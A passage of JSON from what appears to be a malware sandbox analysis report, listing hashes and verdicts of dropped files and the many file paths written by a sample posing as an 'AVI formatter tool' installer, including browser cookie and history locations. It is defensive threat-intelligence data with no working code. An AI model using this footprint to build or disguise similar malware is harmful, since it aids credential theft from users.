683312b0a694cfd8c002881b"}]},{"name":"is-0VG2Q.tmp","sha256":"d2e374df7122c0676b4618aed537dfc8a7b5714b75d362bfbe85b38f47e3d4a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-117UC.tmp","sha256":"7ac8a8d5679c96d14c15e6dbc6c72c260aaefb002d0a4b5d28b3a5c2b15df0ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-14LP7.tmp","sha256":"0afe688b6fca94c69780f454be65e12d616c6e6376e80c5b3835e3fa6de3eb8a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-4SRP0.tmp","sha256":"b0b56f11549ce55b4dc6f94ecba84aeedba4300d92f4dc8f43c3c9eeefcbe3c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-7PKJI.tmp","sha256":"b634ab5640e258563c536e658cad87080553df6f34f62269a21d554844e58bfe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-9F3KE.tmp","sha256":"574595b5fd6223e4a004fa85cbb3588c18cc6b83bf3140d8f94c83d11dbca7bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-B3OEQ.tmp","sha256":"9b5a8b323d2d1209a5696eaf521669886f028ce1ecdbb49d1610c09a22746330","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-D2IHO.tmp","sha256":"04ab613c895b35044af8a9a98a372a5769c80245cc9d6bf710a94c5bc42fa1b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-EUUPD.tmp","sha256":"e0e11a058c4b0add3892e0bea204f6f60a47afc86a21076036393607235b469c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-FNDLB.tmp","sha256":"3030e22f4a854e11a8aa2128991e4867ca1df33bc7b9aff76a5e6deef56927f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-FTVUF.tmp","sha256":"b5942e8096c95118c425b30cec8838904897cdef78297c7bbb96d7e2d45ee288","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"is-H1H9R.tmp","sha256":"8c58bc6c89772d0cd72c61e6cf982a3f51dee9aac946e076a0273cd3aaf3be9d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"_isdecmp.dll","sha256":"e19781aabe466dd8779cb9c8fa41bbb73375447066bb34e876cf388a6ed63c64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"INetC.dll","sha256":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"JSON Nested Objects 64.exe","sha256":"481816a367fb981a94c91ff8e1bead07f70a5f22d3d52fd260f345ff3dbed4f8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"freebl3.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"mozglue.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"msvcp140.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"nss3.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"softokn3.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"vcruntime140.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"nss3_1_.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"msvcp140_1_.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"CHCP.COM.65A50F00.bin","sha256":"6f2d014403f22f65ee7b58f3b53229fc2bfe527e1ffdd11f4c043a43ccf2f6b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"freebl3_1_.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"mozglue_1_.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"softokn3_1_.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"vcruntime140_1_.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"AFBFHDBKJEGHJJJKFIIJEBGIJK","sha256":"9eece79dbda3c29493909df698b3ea4a33bfd2099dfde4c8342946cb70684167","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Amazon_Downloader_Log_20171206-225712_1810e9e0-1a8d-457c-be3a-737de50dc6bb.txt","sha256":"d91e1c82706b8b448f9162776543d6c9956762aeb546de103a09f0a8d818c11e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"rc64.dat","sha256":"7c19a1c91059c7ef96effc93a1246b23953aaaad30bfa2bbbd3069c1dc7374e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"resource-a.dat","sha256":"870555cdcba1f066d893554731ae99a21ae776d41bcb680cbd6510cb9f420e3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"resource-b.dat","sha256":"458677cdf0e1a4e87d32ab67d6a5eea9e67cb3545d79a21a0624e6bb5e1087e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"ts64.dat","sha256":"12ec0b33f547eff33339c9b803a317cd6eec0d5127aadb47d4288a7b9f9cd3a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-0LQ9G.tmp","sha256":"574595b5fd6223e4a004fa85cbb3588c18cc6b83bf3140d8f94c83d11dbca7bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-0QPS7.tmp","sha256":"7ac8a8d5679c96d14c15e6dbc6c72c260aaefb002d0a4b5d28b3a5c2b15df0ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-1CK05.tmp","sha256":"124f210c04c12d8c6e4224e257d934838567d587e5abaea967cbd5f088677049","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-2L5E5.tmp","sha256":"e0234af5f71592c472439536e710ba8105d62dfa68722965df87fed50bab1816","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"is-3INDI.tmp","sha256":"b634ab5640e258563c536e658cad87080553df6f34f62269a21d554844e58bfe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"syncUpd_1_.exe","sha256":"58762ef23e6cd5fa909b9409bd330ec6d6735d8be5badce8270a6cc8d8aec54b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"files_written":[{"path":"%TEMP%\\InstallSetup9.exe","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\tuc4.exe","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\nsvE545.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\BroomSetup.exe","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\nsmE8FF.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%TEMP%\\nsmE8FF.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%APPDATA%\\Temp\\Task.bat","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\is-LO8DU.tmp\\tuc4.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%TEMP%\\is-3UN1S.tmp\\_isetup\\_RegDLL.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%TEMP%\\is-3UN1S.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%TEMP%\\is-3UN1S.tmp\\_isetup\\_shfoldr.dll","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%TEMP%\\is-3UN1S.tmp\\_isetup\\_isdecmp.dll","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%TEMP%\\is-3UN1S.tmp\\_isetup\\_iscrypt.dll","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\unins000.dat","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\is-8EM8Q.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-D2IHO.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-L88TK.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-FNDLB.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-14LP7.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-B3OEQ.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-RPG62.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-IT2IF.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-H1H9R.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-SM0SU.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-7PKJI.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-4SRP0.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-EUUPD.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-KGHLP.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-IEB6T.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-5BQCL.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-Q1RQM.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-AMMN6.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-PU7KQ.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-VNOL6.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-9F3KE.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-0VG2Q.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-4M261.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-117UC.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-ND51B.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-FTVUF.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-HITNB.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-FEENV.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-L2OG8.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-0QOJT.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\lessmsi\\is-71DPG.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-R76LM.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-T2M3R.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-VEAGR.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-Q1SH7.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\plugins\\internal\\is-89QF9.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\plugins\\internal\\is-1KBIS.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-NCI72.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-F1GN9.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-O940H.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-S9I84.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-OH6C9.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-TOJOD.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-43A96.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-CH52A.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\is-5T5Q9.tmp","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\aviformattertool.exe","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\nslB47F.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%SAMPLEDIR%\\Users","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\nswBA89.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\nswBA89.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\ping[1].htm","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\nsbEF5F.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\syncUpd[1].exe","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"pipe\\VBoxMiniRdDN","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"pipe\\VBoxTrayIPC","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\is-C22TM.tmp\\tuc4.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\is-Q6DKU.tmp\\_isetup\\_RegDLL.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\is-Q6DKU.tmp\\_isetup\\_shfoldr.dll","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\is-Q6DKU.tmp\\_isetup\\_isdecmp.dll","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%TEMP%\\is-Q6DKU.tmp\\_isetup\\_iscrypt.dll","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\is-1C93T.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-JTI3T.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-2L5E5.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-R3DKN.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-DV4LN.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-PO5S3.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-R6Q27.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-RLE02.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-U14HF.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-TCRLP.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-3INDI.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-VIIFN.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-CHJIR.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-8C1RL.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-GDT5T.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-VHHGF.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-46PPJ.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-JSOCF.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-AI351.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-L4Q32.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-0LQ9G.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-D46R0.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-Q478L.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-0QPS7.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-IJHAA.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-7AIDV.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-NBRII.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-BJ34N.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-DUI7O.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter 